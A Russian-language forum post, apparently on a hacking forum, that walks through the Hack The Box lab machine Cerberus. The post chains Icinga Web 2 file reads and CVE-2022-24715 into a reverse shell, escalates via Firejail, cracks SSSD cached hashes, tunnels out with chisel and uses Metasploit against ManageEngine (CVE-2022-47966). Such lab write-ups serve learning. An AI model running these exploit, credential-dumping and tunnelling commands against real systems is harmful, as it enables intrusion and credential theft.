• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем контроллер домена Windows через баг SAML SSO

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как эксплуатировать уязвимость в сервисе ADSelfService Plus для захвата домена Active Directory. По дороге захватим хост на Linux, раскрутив цепочку уязвимостей в системе мониторинга Icinga Web 2. Повысим привилегии благодаря дыре в сендбоксе Firejail и сдампим учетные данные из SSSD.
Поможет нам в этом тренировочная машина Cerberus с площадки Hack The Box. Уровень — сложный.

warning​

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.205 cerberus.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел всего один открытый порт! Это порт 8080, на котором работает веб‑сервер Apache 2.4.52. При этом в заголовке http-title сразу отображен редирект на домен icinga.cerberus.local, который мы добавляем в файл /etc/hosts.

10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local
Теперь переходим по этому адресу в браузере, и нас встречает опенсорсная система мониторинга Icinga Web 2.

Форма авторизации icinga.cerberus.local

Точка входа​

Первым делом нужно поискать существующие эксплоиты для найденной системы. Мне удалось выйти на Для просмотра ссылки Войди или Зарегистрируйся, где описаны уязвимости для Icinga Web 2. И первое, что привлекает внимание, — это баг, позволяющий читать произвольные файлы на хосте.

Описание уязвимости чтения произвольных файлов

Пробуем указанным в описании способом прочитать файл /etc/hosts.

[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts[/URL]
Для просмотра ссылки Войди или Зарегистрируйся
Но одно дело — иметь такую возможность, а другое — знать, какие файлы читать. В этом поможет Для просмотра ссылки Войди или Зарегистрируйся Icinga, где можно посмотреть имена и описание файлов с настройками. Первый интересный файл — это confing.ini. Он содержит глобальные настройки, к примеру путь к файлам модулей.

[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini[/URL]
Содержимое файла config.ini
Второй интересный файл — resources.ini. В нем записаны учетные данные для подключения к базе данных.

[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini[/URL]
Содержимое файла resources.ini

С этими учетными данными получается авторизоваться на сайте.

Главная страница Icinga

Точка опоры​

Теперь у нас есть доступ к сайту, и можно перейти к другой описанной в том же ресерче уязвимости CVE-2022-24715. Аутентифицированные пользователи с доступом к настройкам фреймворка могут создавать файлы ресурсов SSH в непредусмотренных каталогах, что приводит к выполнению произвольного кода. Уязвимость заключается в неправильной проверке переданной строки в коде на PHP. Если использовать null-байт, то при проверке он будет учтен и строка получится обрезанной, но в момент записи в файл null-байт не будет учитываться, что приведет к записи дополнительных данных.

Описание уязвимости

Перед тем как пытаться воспроизвести эти действия вручную, можно посмотреть, нет ли в интернете готового кода, который автоматизирует этот сложный процесс. Первая Для просмотра ссылки Войди или Зарегистрируйся приводит к рабочему эксплоиту. Но прежде чем пускать его в ход, мы должны сгенерировать SSH-ключ.

ssh-keygen -t rsa -m pem
После этого запускаем листенер:

pwncat-cs -lp 4321
И выполняем файл эксплоита:

python3 exploit.py -t [URL]http://icinga.cerberus.local:8080/icingaweb2/[/URL] -I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa
Результат выполнения эксплоита

Моментально на листенере появляется сессия от имени пользователя www-data.

Сессия в pwncat-cs

Локальное повышение привилегий (хост 1)​

Теперь нам нужно собрать информацию о системе. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе много информации, поэтому отберем только значимую.

На хосте есть необходимые для выполнения кода библиотеки MySQL.

Связанные с MySQL данные

Среди файлов с установленным битом SUID есть неизвестный бинарь firejail.

Файлы с выставленным битом SUID

Информация о сетевом интерфейсе раскрывает адрес сети — 172.16.22.0.

Информация о сетевом интерфейсе

В дереве процессов находим работающий SSSD — демон для управления доступом к службам каталогов и механизмам проверки подлинности.

Дерево процессов

Также отмечаем SSSD среди профилей AppArmor.

Профили AppArmor

На хосте присутствует файл /etc/krb5.conf, содержащий настройки Kerberos для работы в домене.

Содержимое файла /etc/krb5.conf

Информации, конечно, много, но наиболее здесь важно, что у бинарного файла firejail есть бит SUID.

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Firejail — это система изолированного выполнения графических, консольных и серверных приложений, которая снижает риск нарушения безопасности за счет ограничения рабочей среды потенциально уязвимых программ. Для этого используются пространства имен, фильтрация системных вызовов и возможности AppArmor.

В таких случаях нужно обязательно проверить техники GTFOBins или существующие эксплоиты, так как главная задача — просто получить непредумышленное выполнение кода. Быстрый поиск эксплоитов в Google показал, что это верный путь.

Поиск эксплоитов в Google

Первая же Для просмотра ссылки Войди или Зарегистрируйся приводит к рабочему эксплоиту, который я и использовал. Единственное неудобство — для эксплуатации нам нужно сделать еще одну сессию. Тогда в первой сессии мы запускаем эксплоит, а во второй используем Firejail для получения привилегированного шелла.

Первая сессия — выполнение эксплоита
firejail --join=35256
Вторая сессия — получение привилегированного шелла

Продвижение​

Демон SSSD может кешировать учетные данные в локальной базе данных.

Содержимое каталога /var/lib/sss/db/
Получим все строки из файла cache_cerberus.local.ldb.

strings /var/lib/sss/db/cache_cerberus.local.ldb
Строки в файле cache_cerberus.local.ldb

В выводе видим хеш пароля пользователя, этот хеш нам предстоит перебирать. Но первым делом с помощью справки hashcat определим его тип.

hashcat --example | grep '\$6\$' -A2 -B11
Справка hashcat

Теперь указываем полученный режим перебора хеша — 1800. На выходе получаем пароль.

hashcat -m 1800 -a 0 hash.txt rockyou.txt
Результат перебора хеша

Чтобы понять, где можно авторизоваться с этими учетными данными, просканируем порты на контроллере домена.

./nmap -p- --min-rate=1500 172.16.22.1
Результат сканирования портов

На хосте работает служба WinRM, и, чтобы подключиться к ней, сделаем туннель. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).

./chisel.bin server -p 8888 --reverse
Логи chisel server

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки туннелирования: с локального порта 8888 на порт 5985 хоста 172.16.22.1.

./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985
Логи chisel client

В логах сервера мы должны увидеть сообщение о создании сессии. Как только сессия будет создана, пробуем авторизоваться на службе WinRM с помощью инструмента Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'
Флаг пользователя

Локальное повышение привилегий (хост 2)​

Нам снова нужно провести разведку, и снова используем PEASS, на этот раз версию для Windows.

В списке пользователей отмечаем пользователя службы ADFS.

Найденные домашние каталоги пользователей

Отмечаем открытые для локального хоста нестандартные порты 8888 и 9251.

Для просмотра ссылки Войди или Зарегистрируйся
Проверим, что расположено на порте 9251, для чего немного изменим туннель chisel. Для доступа к хосту будем использовать туннель Socks, а для доступа к внутреннему порту будем прокидывать этот порт.

Код:
# --- socks ---
#remote linux
chisel.bin client 10.10.14.75:8888 R:socks


# --- port forwarding ---
#remote windows
chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251
Логи сервера chisel

При попытке просмотреть порт через браузер нам сообщают о небезопасном подключении, то есть необходимо использовать HTTPS.

Сообщение на сайте

Повторяем обращение к серверу, проходим ряд редиректов и встречаем типичную форму авторизации ADFS.

Страница авторизации ADFS
Теперь пару слов о том, что это такое.


Active Directory Federation Services​

ADFS — это функция Active Directory, которая обеспечивает идентификацию доступа и дает возможность клиентам (в основном на базе браузеров) внутри или за пределами локальной сети получать доступ к веб‑приложениям по технологии single sign-on (SSO). Так ADFS извлекает атрибуты пользователей из Active Directory, а также проверяет подлинность пользователей в Active Directory.

Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server, реализующий «сервис маркеров доступа» (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.

Основные операции:
  • первоначальная аутентификация пользователя;
  • выпуск маркера доступа (Issue);
  • проверка маркера доступа (Validate);
  • обновление маркера доступа (Renew);
  • аннулирование маркера доступа (Cancel).
Маркер доступа выпускается по факту успешной аутентификации и достоверно идентифицирует пользователя приложения. Чтобы получить маркер доступа, пользователь предоставляет учетные данные AD либо свой сертификат.

Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограниченны. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.

Попробуем авторизоваться в ADFS и получить маркер доступа.

Получение GUID токена (маркера доступа)

Немного поисследовав файловую систему, находим продукт ManageEngine ADSelfService Plus, который как раз и представляет собой интегрированное решение для самостоятельного управления паролями и единого входа. Из базы получим Issuer URL, просто грепнув файлы по строке.

ls -r | Select-String issuer_url | select line,path
Получение Issuer URL
В самом ManageEngine есть нашумевшая уязвимость Для просмотра ссылки Войди или Зарегистрируйся, которая приводит к удаленному выполнению кода. Автоматизированный эксплоит уже появился в Metasploit Framework. У нас есть необходимые для эксплуатации параметры — GUID токена и Issuer URL.

proxychains -q msfconsole
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL [URL]http://dc.cerberus.local/adfs/services/trust[/URL]
set RHOST 127.0.0.1
set RPORT 9251
set LHOST 10.10.14.56
exploit
Эксплуатация уязвимости

Мы получили сессию и теперь просто забираем флаг рута.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here